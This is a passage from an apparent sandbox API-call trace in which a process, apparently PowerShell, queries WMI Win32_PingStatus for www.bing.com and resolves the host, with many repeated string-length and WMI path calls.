plFlavor=0x28a57d0*=64) returned 0x0 [0141.644] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.644] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.644] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.644] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.644] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a58f4*=0, plFlavor=0x28a58f8*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28a58f4*=8200, plFlavor=0x28a58f8*=64) returned 0x0 [0141.644] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a58f4*=8200, plFlavor=0x28a58f8*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28a58f4*=8200, plFlavor=0x28a58f8*=64) returned 0x0 [0141.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0141.644] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0141.645] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0141.645] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0141.645] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.645] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe43c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe430 | out: pNames=0x59fe430*="\x01ƀ\x04") returned 0x0 [0141.645] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.645] SafeArrayGetDim (psa=0x5cea220) returned 0x1 [0141.645] SafeArrayGetLBound (in: psa=0x5cea220, nDim=0x1, plLbound=0x59fe2c8 | out: plLbound=0x59fe2c8) returned 0x0 [0141.645] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.645] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.645] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.645] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.645] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.645] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.645] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.645] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.645] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.645] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.646] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.646] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.646] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.646] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.646] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.646] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.646] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.646] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.646] SysStringByteLen (bstr="__PATH") returned 0xc [0141.646] SysStringByteLen (bstr="__PATH") returned 0xc [0141.646] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a6130*=0, plFlavor=0x28a6134*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28a6130*=3, plFlavor=0x28a6134*=64) returned 0x0 [0141.646] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a6164*=0, plFlavor=0x28a6168*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28a6164*=8, plFlavor=0x28a6168*=64) returned 0x0 [0141.646] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.646] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.646] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a61bc*=0, plFlavor=0x28a61c0*=0 | out: pVal=0x59fe42c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a61bc*=8, plFlavor=0x28a61c0*=64) returned 0x0 [0141.647] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a61e4*=0, plFlavor=0x28a61e8*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28a61e4*=8, plFlavor=0x28a61e8*=64) returned 0x0 [0141.647] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.647] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.647] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a623c*=0, plFlavor=0x28a6240*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28a623c*=8, plFlavor=0x28a6240*=64) returned 0x0 [0141.647] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.647] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.647] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a6414*=0, plFlavor=0x28a6418*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28a6414*=3, plFlavor=0x28a6418*=64) returned 0x0 [0141.647] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a6448*=0, plFlavor=0x28a644c*=0 | out: pVal=0x59fe42c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea250*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28a6448*=8200, plFlavor=0x28a644c*=64) returned 0x0 [0141.647] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a647c*=0, plFlavor=0x28a6480*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28a647c*=8, plFlavor=0x28a6480*=64) returned 0x0 [0141.648] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.648] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.648] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a64c8*=0, plFlavor=0x28a64cc*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28a64c8*=8, plFlavor=0x28a64cc*=64) returned 0x0 [0141.648] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.648] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.648] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a6514*=0, plFlavor=0x28a6518*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28a6514*=8, plFlavor=0x28a6518*=64) returned 0x0 [0141.648] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.648] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe470 | out: puCount=0x59fe470*=0x2) returned 0x0 [0141.648] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe46c*=0xf, pszText=0x0) returned 0x0 [0141.648] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe46c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.648] IWbemClassObject:Get (in: This=0x5ce3798, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a6754*=0, plFlavor=0x28a6758*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x28a6754*=8, plFlavor=0x28a6758*=0) returned 0x0 [0141.648] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.648] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.648] IWbemClassObject:Get (in: This=0x5ce3798, wszName="address", lFlags=0, pVal=0x59fe4c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a6754*=8, plFlavor=0x28a6758*=0 | out: pVal=0x59fe4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x28a6754*=8, plFlavor=0x28a6758*=0) returned 0x0 [0141.649] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.649] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.649] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe510*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe4b8 | out: ppResult=0x59fe4b8*=0x5d0be80*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfacd0*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0be30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfacb8*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0141.650] FreeAddrInfoW (pAddrInfo=0x5d0be80*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfacd0*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0be30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfacb8*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0141.651] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0141.651] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0141.651] EtwEventActivityIdControl () returned 0x0 [0141.651] EtwEventActivityIdControl () returned 0x0 [0141.651] EtwEventActivityIdControl () returned 0x0 [0141.652] EtwEventActivityIdControl () returned 0x0 [0141.652] EtwEventActivityIdControl () returned 0x0 [0141.652] EtwEventActivityIdControl () returned 0x0 [0141.653] EtwEventActivityIdControl () returned 0x0 [0141.653] EtwEventActivityIdControl () returned 0x0 [0141.653] EtwEventActivityIdControl () returned 0x0 [0141.653] EtwEventActivityIdControl () returned 0x0 [0141.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.653] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.653] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0141.653] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0141.653] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.653] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0141.653] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.653] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.653] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0141.653] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.653] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.654] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.654] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.654] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.654] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.654] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.654] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.654] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.654] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.654] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.654] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.654] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.654] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.654] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.654] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.654] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.654] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.654] SysStringByteLen (bstr="__PATH") returned 0xc [0141.654] SysStringByteLen (bstr="__PATH") returned 0xc [0141.654] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b07c0*=0, plFlavor=0x28b07c4*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b07c0*=3, plFlavor=0x28b07c4*=64) returned 0x0 [0141.654] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b07f4*=0, plFlavor=0x28b07f8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b07f4*=8, plFlavor=0x28b07f8*=64) returned 0x0 [0141.654] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.654] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.655] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b084c*=0, plFlavor=0x28b0850*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b084c*=8, plFlavor=0x28b0850*=64) returned 0x0 [0141.655] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b0874*=0, plFlavor=0x28b0878*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b0874*=8, plFlavor=0x28b0878*=64) returned 0x0 [0141.655] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.655] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.655] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b08cc*=0, plFlavor=0x28b08d0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b08cc*=8, plFlavor=0x28b08d0*=64) returned 0x0 [0141.655] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.655] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.655] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b0aa4*=0, plFlavor=0x28b0aa8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b0aa4*=3, plFlavor=0x28b0aa8*=64) returned 0x0 [0141.655] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b0ad8*=0, plFlavor=0x28b0adc*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b0ad8*=8200, plFlavor=0x28b0adc*=64) returned 0x0 [0141.655] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b0b0c*=0, plFlavor=0x28b0b10*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b0b0c*=8, plFlavor=0x28b0b10*=64) returned 0x0 [0141.656] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.656] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.656] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b0b58*=0, plFlavor=0x28b0b5c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b0b58*=8, plFlavor=0x28b0b5c*=64) returned 0x0 [0141.656] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.656] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.656] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b0ba4*=0, plFlavor=0x28b0ba8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b0ba4*=8, plFlavor=0x28b0ba8*=64) returned 0x0 [0141.656] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.656] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.656] IWbemClassObject:Get (in: This=0x5ce3798, wszName="BufferSize", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b0dd8*=0, plFlavor=0x28b0ddc*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28b0dd8*=19, plFlavor=0x28b0ddc*=0) returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: 